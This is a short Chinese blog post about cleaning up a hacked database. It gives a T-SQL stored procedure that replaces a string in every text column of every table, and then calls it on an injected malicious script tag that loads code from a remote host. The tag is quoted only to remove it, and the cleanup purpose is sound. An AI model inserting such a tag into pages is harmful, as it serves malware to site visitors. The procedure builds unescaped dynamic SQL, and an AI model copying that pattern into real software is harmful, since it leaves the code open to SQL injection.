SQL替换字符
选择字号: 超大 标准 发布时间:2011-5-14 13:10:37 | 作者:admin | 0个评论 | 人浏览
好,被暴库了,加入了很多木马链接,无耐,用下面的方法替换。
--如果是第一次执行则先创建存储过程
--如果不是第一次执行则直接修改 就可以。或者直接调用
SQL代码
- create proc Full_Search(@string nvarchar(500),@string2 nvarchar(500))
-
- as
- begin
-
- declare @tbname varchar(500)
- declare tbroy cursor for select name from sysobjects
- where xtype= 'u '
-
- open tbroy
- fetch next from tbroy into @tbname
- while @@fetch_status=0
- begin
-
- declare @colname varchar(50)
- declare colroy cursor for select name from syscolumns
- where id=object_id(@tbname) and xtype in (
- select xtype from systypes
- where name in ( 'varchar ', 'nvarchar ', 'char ', 'nchar ')
-
- )
-
- open colroy
- fetch next from colroy into @colname
- while @@fetch_status=0
- begin
-
- declare @sql nvarchar(1000),@j int
-
- exec( 'UPDATE ' +@tbname + ' SET '+@colname+' = replace('+@colname+','+ ''''+@string+ ''', '+ ''''+@string2+ ''');')
-
- fetch next from colroy into @colname
- end
-
- close colroy
- deallocate colroy
-
- fetch next from tbroy into @tbname
- end
- close tbroy
- deallocate tbroy
-
- end
- go
然后,执行下面语句:
SQL代码
- exec Full_Search '</title>"><script src=http://8881.ss.la/></script>',''
- go
标签: